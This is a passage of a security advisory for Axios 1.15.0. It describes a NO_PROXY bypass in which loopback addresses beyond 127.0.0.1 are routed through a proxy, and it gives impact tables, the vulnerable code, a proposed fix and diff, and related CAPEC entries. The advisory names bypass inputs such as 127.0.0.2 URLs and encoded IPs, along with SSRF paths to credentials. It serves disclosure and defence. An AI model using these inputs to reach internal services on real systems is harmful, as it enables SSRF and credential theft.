these addresses would be fully intercepted.\n\nThis confirms that the `NO_PROXY` protection configured by the developer (`localhost,127.0.0.1,::1`) fails silently for the entire `127.0.0.0/8` address range beyond `127.0.0.1`, providing a reproducible and reliable bypass of the security control introduced by the patch.\n\n**4. Impact Assessment**\nThis vulnerability is a **security control bypass** specifically an incomplete patch that allows an attacker to circumvent the `NO_PROXY` protection mechanism in Axios by using any loopback addresses within the `127.0.0.0/8` subnet other than `127.0.0.1`. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.\n\n**4.1 Who Is Impacted?**\n\nPrimary Target \u2014 Node.js Backend Applications\nAny Node.js application that meets **all three of the following conditions** is vulnerable:\n\n```\nCondition 1:  Uses Axios 1.15.0 (latest patched) for HTTP requests\nCondition 2:  Has HTTP_PROXY or HTTPS_PROXY set in its environment\n              (common in corporate networks, cloud deployments,\n               containerised environments, and CI/CD pipelines)\nCondition 3:  Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar)\n              to protect loopback or internal services from proxy routing\n```\n**Affected Deployment Environments**\n| Environment | Risk Level |\n| ------------- | ------------- |\n| Cloud-hosted applications (AWS, GCP, Azure) | Critical| \n| Containerised microservices (Docker, Kubernetes) | Critical| \n| Corporate networks with mandatory proxy | High| \n| CI/CD pipelines with proxy environment variables | High| \n| On-premise servers with internal proxy | High| \n\n**Scale of Exposure**\nAxios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over **500 million weekly downloads** on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.\n\n**4.3 Impact Details**\n\n**Impact 1 Silent Interception of Internal Service Traffic**\n\nWhen an application makes a request to an internal loopback service using a non-standard loopback address (e.g., `http://127.0.0.2/admin`), Axios silently routes the request through the configured proxy instead of connecting directly.\n\n```\nDeveloper expects:    Application \u2192 127.0.0.2:8080 (direct)\nActual behaviour:     Application \u2192 Attacker Proxy \u2192 127.0.0.2:8080\nThe proxy receives:\n  - Full request URL\n  - HTTP method\n  - All request headers (including Authorization, Cookie, API keys)\n  - Request body (for POST/PUT requests)\n  - Full response from the internal service\n```\nThe developer receives no error or warning. From the application\u0027s perspective, the request succeeds normally.\n\n**Impact 2 \u2014 SSRF Mitigation Bypass**\nMany applications implement SSRF protections by configuring `NO_PROXY` to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond `127.0.0.1`.\n\n```\nSSRF Protection (as configured by developer):\n  NO_PROXY = localhost,127.0.0.1,::1\nWhat developer believes is protected:\n  All loopback/internal addresses\nWhat is actually protected:\n  Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses)\nWhat remains exposed:\n  127.0.0.2 through 127.255.255.254 (16,777,213 addresses)\n```\nAn attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.\n\n**Impact 3 \u2014 Cloud Metadata Service Exposure**\nIn cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.\n\nWhile the AWS IMDSv2 service is reachable at `169.254.169.254` (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the `127.0.0.0/8` range. An attacker reaching any of these services through the bypass could:\n\n* Retrieve temporary IAM credentials\n* Access environment variables containing secrets\n* Enumerate internal service configurations\n* Pivot to other internal services via the compromised credentials\n\n**Impact 4 \u2014 Confidential Data Exfiltration**\nAny internal service binding to a `127.x.x.x` address other than `127.0.0.1` is fully exposed. This includes:\n\n| Internal Service Type | Exposed Data |\n| ------------- | ------------- |\n| Admin panels / dashboards | User data, configuration, logs | \n| Internal APIs | Business logic, database contents | \n| Secret managers / vaults | API keys, tokens, certificates | \n| Health check endpoints | Infrastructure topology | \n| Development services | Source code, environment variables | \n\n**Impact 5 \u2014 No Indication of Compromise**\nA particularly dangerous characteristic of this vulnerability is that it is **completely silent** neither the application nor the developer receives any indication that requests are being routed incorrectly. There are no error messages, no exceptions thrown, and no changes in application behaviour. The proxy interception is entirely transparent from the application\u0027s perspective, making detection extremely difficult without active network monitoring.\n\n**4.4 Comparison with Original Vulnerability**\n\n| Internal Service Type | Exposed Data | Exposed Data |\n| ------------- | ------------- | ------------- |\n| Attack method | Use localhost. or [::1]| Use any 127.x.x.x \u2260 127.0.0.1 | \n| Patch status | Fixed in 1.15.0 | Not fixed in 1.15.0 | \n| CVSS score | 9.3 Critical | 9.9 Critical or (equivalent) | \n| Attacker effort| Trivial | Trivial | \n| Detection by developer | None | None | \n| Impact | SSRF / proxy bypass | SSRF / proxy bypass (identical) | \n\nThe severity of this finding is equivalent to the original vulnerability because the attack conditions, exploitation technique, and resulting impact are identical. The only difference is the specific input used to trigger the bypass, which the existing patch completely fails to address.\n\n**5. Technical Remediation \u0026 Proposed Fix**\n\n**5.1 Vulnerable Code Block**\n\nThe vulnerability resides in `lib/helpers/shouldBypassProxy.js` at lines 1\u20133. The following is the exact code extracted from Axios 1.15.0:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Axios 1.15.0\n// Lines 1\u20133 (VULNERABLE)\nconst LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\nconst isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n```\nThis hardcoded `Set` is subsequently used at line 108 during the final NO_PROXY match evaluation:\n\n```\n// lib/helpers/shouldBypassProxy.js \u2014 Line 108 (VULNERABLE USAGE)\nreturn hostname === entryHost || (isLoopback(hostname) \u0026\u0026 isLoopback(entryHost));\n//                                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n// isLoopback(\"127.0.0.2\") \u2192 LOOPBACK_ADDRESSES.has(\"127.0.0.2\") \u2192 FALSE\n// This causes the match to fail for any 127.x.x.x address beyond 127.0.0.1\n```\n**Why this is dangerous:** The `Set` performs a strict membership check. Any IPv4 loopback address outside the three hardcoded entries returns `false`, causing `shouldBypassProxy()` to return `false` and silently route the request through the configured proxy.\n\n**5.2 Proposed Patched Code**\nReplace lines 1\u20133 in `lib/helpers/shouldBypassProxy.js` with the following RFC-compliant implementation:\n\n```\n// lib/helpers/shouldBypassProxy.js\n// Lines 1\u20133 (PROPOSED FIX \u2014 RFC 1122 \u00a73.2.1.3 Compliant)\nconst isLoopback = (host) =\u003e {\n  // Named loopback hostname\n  if (host === \u0027localhost\u0027) return true;\n  // IPv6 loopback address\n  if (host === \u0027::1\u0027) return true;\n  // Full IPv4 loopback subnet: 127.0.0.0/8 (RFC 1122 \u00a73.2.1.3)\n  // Matches any address from 127.0.0.0 through 127.255.255.254\n  const parts = host.split(\u0027.\u0027);\n  return (\n    parts.length === 4 \u0026\u0026\n    parts[0] === \u0027127\u0027 \u0026\u0026\n    parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255)\n  );\n};\n```\n**5.3 Diff View \u2014 Before vs After**\n\n```\n// lib/helpers/shouldBypassProxy.js\n- const LOOPBACK_ADDRESSES = new Set([\u0027localhost\u0027, \u0027127.0.0.1\u0027, \u0027::1\u0027]);\n-\n- const isLoopback = (host) =\u003e LOOPBACK_ADDRESSES.has(host);\n+ const isLoopback = (host) =\u003e {\n+   if (host === \u0027localhost\u0027) return true;\n+   if (host === \u0027::1\u0027) return true;\n+   const parts = host.split(\u0027.\u0027);\n+   return (\n+     parts.length === 4 \u0026\u0026\n+     parts[0] === \u0027127\u0027 \u0026\u0026\n+     parts.every((p) =\u003e /^\\d+$/.test(p) \u0026\u0026 Number(p) \u003e= 0 \u0026\u0026 Number(p) \u003c= 255)\n+   );\n+ };\n```\nAll other code in `shouldBypassProxy.js` remains unchanged. No other files require modification.\n\n**5.4 Why This Fix Must Be Applied**\n\n**Reason 1 \u2014 RFC 1122 Compliance**\n\nThe current implementation violates **RFC 1122 \u00a73.2.1.3**, which defines the entire `127.0.0.0/8` block as the IPv4 loopback address range not just the single address `127.0.0.1`. The proposed fix aligns Axios with the standard, ensuring that all valid loopback addresses are recognised and handled consistently.\n\n```\nRFC 1122 \u00a73.2.1.3:\n\"The address 127.0.0.0/8 is assigned for loopback.\n A datagram sent by a higher-level protocol to a loopback\n address MUST NOT appear on any network.\"\nCurrent fix covers  :  3 addresses (localhost, 127.0.0.1, ::1)\nProposed fix covers :  16,777,216 addresses (entire 127.0.0.0/8 + loopback names)\n```\n\n**Reason 2 \u2014 The Existing Patch Has Already Failed Once**\n\nThe patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NO_PROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting `127.0.0.1` with any other address in the `127.0.0.0/8` range. Leaving this gap unaddressed means that the patch creates a **false sense of security** developers believe their loopback traffic is protected when it is not.\n\n**Reason 3 \u2014 Real Operating System Behaviour**\nOn Linux the dominant platform for Node.js server deployments the kernel routes the **entire `127.0.0.0/8` subnet** to the loopback interface `lo` by default. This means any address in that range functions identically to `127.0.0.1` at the networking level.\n\n```\n# Linux routing table \u2014 default configuration\n$ ip route show table local | grep \"127\"\nlocal 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1\n# Proof: 127.0.0.2 is a valid loopback address on Linux\n$ ping -c 1 127.0.0.2\nPING 127.0.0.2: 56 data bytes\n64 bytes from 127.0.0.2: icmp_seq=0 ttl=64 time=0.045 ms\n```\n\n\u003cimg width=\"711\" height=\"181\" alt=\"04_linux_loopback_subnet_proof\" src=\"https://github.com/user-attachments/assets/fd0f8430-37c5-4597-b2d9-8e27e479d7b2\" /\u003e\n\nAxios\u0027s current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.\n\n\u003cimg width=\"588\" height=\"198\" alt=\"06_ping_127 0 0 2_loopback_confirmed\" src=\"https://github.com/user-attachments/assets/23bf1ab8-1bd6-4f39-88a7-93c518d72990\" /\u003e\n\n**Reason 4 \u2014 The Proposed Fix Has Zero Performance Impact**\nThe existing solution uses a `Set.has()` lookup an O(1) operation. The proposed fix replaces this with:\n\n1. Two direct string comparisons (`\u0027localhost\u0027`, `\u0027::1\u0027`) \u2014 O(1)\n2. A `split(\u0027.\u0027)` and array validation \u2014 O(1) with a fixed-length array of 4 elements\nThe computational cost is **equivalent or lower** than the current approach, and the fix introduces no new external dependencies.\n\n**Reason 5 \u2014 The Fix Is Minimal and Surgical**\nThe proposed change modifies only **3 lines** of a single file. It does not alter:\n\n* The `parseNoProxyEntry()` function\n* The `normalizeNoProxyHost()` function\n* The `shouldBypassProxy()` main function logic\n* Any other file in the codebase\n \nThis minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.\n\n**Reason 6 \u2014 Resilient to Alternative IP Encodings**\nBecause Axios normalises the request URL using Node\u0027s native `new URL()` parser before passing it to `shouldBypassProxy()`, alternative IP encodings (such as octal `0177.0.0.1`, hex `0x7f.0.0.1`, or integer `2130706433`) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed `.split(\u0027.\u0027)` validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.\n\n**5.5 Additional Recommendation \u2014 IPv6 Loopback Range**\n\nWhile the primary bypass demonstrated in this report targets the IPv4 `127.0.0.0/8` range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only `::1`. A more complete check would also handle the full-form notation:\n\n```\n// Additional IPv6 loopback representations to consider:\n\u00270:0:0:0:0:0:0:1\u0027      // Full notation of ::1\n\u0027::ffff:127.0.0.1\u0027     // IPv4-mapped IPv6 loopback\n\u0027::ffff:7f00:1\u0027        // Hex IPv4-mapped IPv6 loopback\n```\nNormalising these representations before comparison would make the NO_PROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.",
  "id": "GHSA-pmwg-cvhr-8vh7",
  "modified": "2026-05-05T00:20:58Z",
  "published": "2026-05-05T00:20:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42043"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Axios: Incomplete Fix for CVE-2025-62718 \u2014 NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0"
}
Mitigation
Architecture and Design

Enforce the use of strong mutual authentication mechanism between the two parties.

Mitigation
Architecture and Design

Whenever a product is an intermediary or proxy for transactions between two other components, the proxy core should not drop the identity of the initiator of the transaction. The immutability of the identity of the initiator must be maintained and should be forwarded all the way to the target.

CAPEC-219: XML Routing Detour Attacks

An attacker subverts an intermediate system used to process XML content and forces the intermediate to modify and/or re-route the processing of the content. XML Routing Detour Attacks are Adversary in the Middle type attacks (CAPEC-94). The attacker compromises or inserts an intermediate system in the processing of the XML message. For example, WS-Routing can be used to specify a series of nodes or intermediaries through which content is passed. If any of the intermediate nodes in this route are compromised by an attacker they could be used for a routing detour attack. From the compromised system the attacker is able to route the XML process to other nodes of their choice and modify the responses so that the normal chain of processing is unaware of the interception. This system can forward the message to an outside entity and hide the forwarding and processing from the legitimate processing systems by altering the header information.

CAPEC-465: Transparent Proxy Abuse

A transparent proxy serves as an intermediate between the client and the internet at large. It intercepts all requests originating from the client and forwards them to the correct location. The proxy also intercepts all responses to the client and forwards these to the client. All of this is done in a manner transparent to the client.

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